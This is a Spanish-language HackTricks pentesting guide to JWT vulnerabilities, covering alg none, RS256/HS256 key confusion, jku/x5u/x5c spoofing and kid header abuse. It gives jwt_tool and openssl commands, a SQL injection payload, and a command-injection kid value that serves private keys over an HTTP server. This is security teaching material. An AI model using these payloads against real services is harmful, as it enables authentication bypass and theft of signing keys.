hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

19 KiB
Raw Blame History

Vulnerabilidades de JWT (Json Web Tokens)

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}

Si estás interesado en una carrera de hacking y en hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).

{% embed url="https://www.stmcyber.com/careers" %}

Parte de este post se basa en el increíble post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor de la gran herramienta para pentesting de JWTs https://github.com/ticarpi/jwt_tool

Victorias Rápidas

Ejecuta jwt_tool con el modo ¡Todas las Pruebas! y espera líneas verdes.

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Si tienes suerte, la herramienta encontrará algún caso en el que la aplicación web esté verificando incorrectamente el JWT:

Luego, puedes buscar la solicitud en tu proxy o volcar el JWT utilizado para esa solicitud usando jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Puedes usar la Extensión de Burp SignSaboteur para lanzar ataques JWT desde Burp.

Manipular datos sin modificar nada

Puedes simplemente manipular los datos dejando la firma como está y verificar si el servidor está comprobando la firma. Intenta cambiar tu nombre de usuario a "admin", por ejemplo.

¿Se verifica el token?

Para comprobar si se está verificando la firma de un JWT:

  • Un mensaje de error sugiere que se está realizando una verificación; los detalles sensibles en errores verbosos deben ser revisados.
  • Un cambio en la página devuelta también indica verificación.
  • La ausencia de cambios sugiere que no hay verificación; este es el momento de experimentar con la manipulación de las afirmaciones del payload.

Origen

Es importante determinar si el token fue generado del lado del servidor o del lado del cliente examinando el historial de solicitudes del proxy.

  • Los tokens vistos por primera vez desde el lado del cliente sugieren que la clave podría estar expuesta al código del lado del cliente, lo que requiere una investigación adicional.
  • Los tokens que se originan del lado del servidor indican un proceso seguro.

Duración

Verifica si el token dura más de 24h... tal vez nunca expire. Si hay un campo "exp", verifica si el servidor lo está manejando correctamente.

Fuerza bruta de la clave secreta HMAC

Consulta esta página.

Modificar el algoritmo a Ninguno

Establece el algoritmo utilizado como "Ninguno" y elimina la parte de la firma.

Usa la extensión de Burp llamada "JSON Web Token" para probar esta vulnerabilidad y cambiar diferentes valores dentro del JWT (envía la solicitud a Repeater y en la pestaña "JSON Web Token" puedes modificar los valores del token. También puedes seleccionar poner el valor del campo "Alg" a "Ninguno").

Cambiar el algoritmo RS256 (asimétrico) a HS256 (simétrico) (CVE-2016-5431/CVE-2016-10555)

El algoritmo HS256 utiliza la clave secreta para firmar y verificar cada mensaje.
El algoritmo RS256 utiliza la clave privada para firmar el mensaje y utiliza la clave pública para la autenticación.

Si cambias el algoritmo de RS256 a HS256, el código del backend utiliza la clave pública como la clave secreta y luego utiliza el algoritmo HS256 para verificar la firma.

Luego, usando la clave pública y cambiando RS256 a HS256 podríamos crear una firma válida. Puedes recuperar el certificado del servidor web ejecutando esto:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Nueva clave pública dentro del encabezado

Un atacante incrusta una nueva clave en el encabezado del token y el servidor utiliza esta nueva clave para verificar la firma (CVE-2018-0114).

Esto se puede hacer con la extensión "JSON Web Tokens" de Burp.
(Envía la solicitud al Repeater, dentro de la pestaña JSON Web Token selecciona "CVE-2018-0114" y envía la solicitud).

Suplantación de JWKS

Las instrucciones detallan un método para evaluar la seguridad de los tokens JWT, particularmente aquellos que emplean un reclamo de encabezado "jku". Este reclamo debe vincularse a un archivo JWKS (JSON Web Key Set) que contenga la clave pública necesaria para la verificación del token.

  • Evaluación de Tokens con Encabezado "jku":
  • Verifica la URL del reclamo "jku" para asegurarte de que conduzca al archivo JWKS apropiado.
  • Modifica el valor "jku" del token para dirigirlo hacia un servicio web controlado, permitiendo la observación del tráfico.
  • Monitoreo de Interacción HTTP:
  • Observar las solicitudes HTTP a tu URL especificada indica los intentos del servidor de obtener claves desde tu enlace proporcionado.
  • Al emplear jwt_tool para este proceso, es crucial actualizar el archivo jwtconf.ini con tu ubicación personal de JWKS para facilitar la prueba.
  • Comando para jwt_tool:
  • Ejecuta el siguiente comando para simular el escenario con jwt_tool:
python3 jwt_tool.py JWT_HERE -X s

Visión General de Problemas de Kid

Un reclamo de encabezado opcional conocido como kid se utiliza para identificar una clave específica, lo que se vuelve particularmente vital en entornos donde existen múltiples claves para la verificación de la firma del token. Este reclamo ayuda a seleccionar la clave apropiada para verificar la firma de un token.

Revelando Clave a través de "kid"

Cuando el reclamo kid está presente en el encabezado, se recomienda buscar en el directorio web el archivo correspondiente o sus variaciones. Por ejemplo, si se especifica "kid":"key/12345", se deben buscar los archivos /key/12345 y /key/12345.pem en la raíz web.

Traversal de Ruta con "kid"

El reclamo kid también podría ser explotado para navegar a través del sistema de archivos, permitiendo potencialmente la selección de un archivo arbitrario. Es factible probar la conectividad o ejecutar ataques de Server-Side Request Forgery (SSRF) al alterar el valor kid para apuntar a archivos o servicios específicos. Manipular el JWT para cambiar el valor kid mientras se mantiene la firma original se puede lograr utilizando la bandera -T en jwt_tool, como se demuestra a continuación:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Al apuntar a archivos con contenido predecible, es posible falsificar un JWT válido. Por ejemplo, el archivo /proc/sys/kernel/randomize_va_space en sistemas Linux, conocido por contener el valor 2, puede ser utilizado en el parámetro kid con 2 como la contraseña simétrica para la generación de JWT.

Inyección SQL a través de "kid"

Si el contenido de la declaración kid se utiliza para obtener una contraseña de una base de datos, se podría facilitar una inyección SQL modificando la carga útil de kid. Un ejemplo de carga útil que utiliza inyección SQL para alterar el proceso de firma de JWT incluye:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Esta alteración obliga al uso de una clave secreta conocida, ATTACKER, para la firma de JWT.

Inyección de OS a través de "kid"

Un escenario donde el parámetro kid especifica una ruta de archivo utilizada dentro de un contexto de ejecución de comandos podría llevar a vulnerabilidades de Ejecución Remota de Código (RCE). Al inyectar comandos en el parámetro kid, es posible exponer claves privadas. Un ejemplo de carga útil para lograr RCE y exposición de claves es:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u y jku

jku

jku significa JWK Set URL.
Si el token utiliza una declaración de Headerjku”, entonces verifica la URL proporcionada. Esto debería apuntar a una URL que contenga el archivo JWKS que tiene la Clave Pública para verificar el token. Modifica el token para que el valor de jku apunte a un servicio web que puedas monitorear.

Primero necesitas crear un nuevo certificado con nuevas claves privadas y públicas.

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Luego puedes usar por ejemplo jwt.io para crear el nuevo JWT con las claves públicas y privadas creadas y apuntando el parámetro jku al certificado creado. Para crear un certificado jku válido, puedes descargar el original y cambiar los parámetros necesarios.

Puedes obtener los parámetros "e" y "n" de un certificado público usando:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. Un URI que apunta a un conjunto de certificados públicos X.509 (un estándar de formato de certificado) codificados en forma PEM. El primer certificado en el conjunto debe ser el que se utilizó para firmar este JWT. Los certificados subsiguientes firman cada uno el anterior, completando así la cadena de certificados. X.509 está definido en RFC 52807. Se requiere seguridad de transporte para transferir los certificados.

Intenta cambiar este encabezado a una URL bajo tu control y verifica si se recibe alguna solicitud. En ese caso, podrías manipular el JWT.

Para forjar un nuevo token utilizando un certificado controlado por ti, necesitas crear el certificado y extraer las claves pública y privada:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Entonces puedes usar por ejemplo jwt.io para crear el nuevo JWT con las claves públicas y privadas creadas y apuntando el parámetro x5u al certificado .crt creado.

También puedes abusar de ambas vulnerabilidades para SSRFs.

x5c

Este parámetro puede contener el certificado en base64:

Si el atacante genera un certificado autofirmado y crea un token falsificado usando la clave privada correspondiente y reemplaza el valor del parámetro "x5c" con el certificado recién generado y modifica los otros parámetros, a saber, n, e y x5t, entonces esencialmente el token falsificado sería aceptado por el servidor.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Clave Pública Embebida (CVE-2018-0114)

Si el JWT tiene una clave pública embebida como en el siguiente escenario:

Usando el siguiente script de nodejs es posible generar una clave pública a partir de esos datos:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Es posible generar una nueva clave privada/pública, incrustar la nueva clave pública dentro del token y usarla para generar una nueva firma:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Puedes obtener el "n" y "e" utilizando este script de nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finalmente, utilizando la clave pública y privada y los nuevos valores "n" y "e", puedes usar jwt.io para forjar un nuevo JWT válido con cualquier información.

ES256: Revelando la clave privada con el mismo nonce

Si algunas aplicaciones utilizan ES256 y usan el mismo nonce para generar dos jwts, la clave privada puede ser restaurada.

Aquí hay un ejemplo: ECDSA: Revelando la clave privada, si se usa el mismo nonce (con SECP256k1)

JTI (JWT ID)

El reclamo JTI (JWT ID) proporciona un identificador único para un token JWT. Se puede usar para evitar que el token sea reproducido.
Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-9999). Las solicitudes 0001 y 10001 van a usar el mismo ID. Así que si el backend está incrementando el ID en cada solicitud, podrías abusar de esto para repetir una solicitud (necesitando enviar 10000 solicitudes entre cada repetición exitosa).

Reclamos registrados de JWT

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

Otros ataques

Ataques de Relay entre servicios

Se ha observado que algunas aplicaciones web dependen de un servicio JWT confiable para la generación y gestión de sus tokens. Se han registrado casos donde un token, generado para un cliente por el servicio JWT, fue aceptado por otro cliente del mismo servicio JWT. Si se observa la emisión o renovación de un JWT a través de un servicio de terceros, se debe investigar la posibilidad de registrarse en una cuenta en otro cliente de ese servicio utilizando el mismo nombre de usuario/correo electrónico. Luego, se debe intentar reproducir el token obtenido en una solicitud al objetivo para ver si es aceptado.

  • Un problema crítico puede ser indicado por la aceptación de tu token, lo que podría permitir la suplantación de la cuenta de cualquier usuario. Sin embargo, se debe tener en cuenta que puede ser necesario obtener permiso para pruebas más amplias si se registra en una aplicación de terceros, ya que esto podría entrar en un área gris legal.

Verificación de expiración de tokens

La expiración del token se verifica utilizando el reclamo "exp" del Payload. Dado que los JWT a menudo se emplean sin información de sesión, se requiere un manejo cuidadoso. En muchos casos, capturar y reproducir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando el reclamo "exp" para establecer un tiempo de expiración para el token. Además, es crucial la implementación de verificaciones relevantes por parte de la aplicación para asegurar el procesamiento de este valor y el rechazo de tokens expirados. Si el token incluye un reclamo "exp" y los límites de tiempo de prueba lo permiten, se aconseja almacenar el token y reproducirlo después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo el análisis de la marca de tiempo y la verificación de expiración (marca de tiempo en UTC), se puede leer utilizando la bandera -R de jwt_tool.

  • Puede haber un riesgo de seguridad si la aplicación aún valida el token, ya que esto podría implicar que el token nunca podría expirar.

Herramientas

{% embed url="https://github.com/ticarpi/jwt_tool" %}

Si estás interesado en carrera de hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}